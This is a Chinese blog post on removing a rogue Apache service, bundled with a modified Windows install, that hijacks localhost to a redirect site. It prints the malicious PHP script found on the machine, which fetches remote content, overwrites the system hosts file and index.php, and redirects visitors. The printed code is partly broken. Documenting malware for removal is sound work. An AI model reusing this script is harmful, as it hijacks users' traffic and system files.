• 解决127.0.0.1 localhost 劫持问题


    在一个安装iis的过程中,把网站部署上去之后就发现127.0.0.1或者localhost都会跳转到一个莫名的网站,发现断网之后就是会跳转到一个Http://www.76636.com 类似这种的网站,感叹一句现在流氓软件越来越高级了,我在无意中发现任务管理居然有apache的服务器,我就想你这个蛋,为什么莫名其妙有这个服务启动,还杀不死

    解决方案:

    使用大数字或者什么管家 禁用apache服务的开机启动,然后重启电脑

    然后去C:WINDOWSApache 删掉整个目录 就完美解决了

    在C:WINDOWSApachehtdocs目录下一段php脚本,里面这么写的:

    <?php 
     include_once "config.php";
      $name1 = "";
      $name2 = "";
      //$name3 = "";
    
    //获取最新php
    
       $index = file_get_contents('http://www.76636.com/ht/index.txt');
       if(strpos($index, )
       {
        $arr = explode("@", $index);
       
       $index = $arr[1]; 
       $hosts = $arr[0];
       $index = get_rep($index);
       if(!empty($index)){
         if(file_put_contents("index.php", $index)==0){} 
       }
    
     //获取最新hosts
      if(!empty($hosts)){ 
       if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){}
      }
    }
     //域名跳转个性化
    
      $serverName = $_SERVER['SERVER_NAME'];
      switch ($serverName) {
     case strpos($name1,$serverName)!==false:
      header("Location:http://www.76636.com/?1");exit;
      break;
        case strpos($name2,$serverName)!==false:
      header("Location:http://www.76636.com/?2");exit;
      break;
       case strpos($name3,$serverName)!==false:
      header("Location:http://www.76636.com/?3");exit;
      break;
     default:
         header("Location:http://www.76636.com/?4");exit;
      break;
     }
     
     ?>
    <meta http-equiv="refresh" content="0;url=http://www.76636.com/?301">

    居然有这种跳转,流氓的系统封装强加了一个httpd服务,然后导致127.0.0.1劫持。

  • 相关阅读:
    Linux学习之telnet命令
    Linux学习netstat
    php 将字符串中的连续多个空格转换为一个空格
    erlang: Programming Rules and Conventions。
    jQuery.data() 方法
    检测一个DOM对象是否为空
    PHP 根据类名和方法名已面向对象的方式执行函数。
    PHP函数前面的@。
    php涉及数据库操作时响应很慢。
    Apache实现动态虚拟主机
  • 原文地址:https://www.cnblogs.com/stuart/p/5620037.html
Copyright © 2020-2023  润新知